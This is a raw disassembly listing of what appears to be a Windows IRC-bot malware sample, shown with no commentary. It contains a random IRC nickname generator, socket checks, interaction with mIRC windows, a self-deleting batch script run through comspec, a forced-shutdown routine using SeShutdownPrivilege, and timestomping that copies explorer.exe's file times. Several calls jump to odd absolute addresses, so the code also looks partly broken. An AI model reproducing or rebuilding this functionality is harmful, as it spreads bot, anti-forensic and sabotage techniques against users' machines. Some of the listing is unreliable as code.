loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
nop
call near ptr 26C051Eh
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41D174
push off_438A68[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: ___:0040DFD7p
; ___:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset loc_4393DC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; ___:00410CF1p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; ___:00415EEBp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call near ptr 26C0CC8h
nop
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 2820000h
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
nop
call near ptr 283060Ah
push esi
mov edi, eax
nop
call near ptr 2830000h
call dword_4CBA28
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 2840186h
nop
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 2840000h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30
push ebx
nop
call near ptr 2830B93h
push edi
nop
call near ptr 26A0000h
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2850000h
push ebx
mov ebx, dword_427070
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 2840742h
push esi
call ebx
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
loc_418886: ; DATA XREF: Themida_:005A4CCFo
; Themida_:005A4CD3o ...
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; ___:00416C12p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 26E0000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 2740762h
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 273186Ah
push edi
nop
call near ptr 26A0000h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 26D0551h
push eax
call near ptr 26B0000h
nop
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 26D0477h
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 26D035Dh
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 2860000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 26A02FDh
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 27105EAh
nop
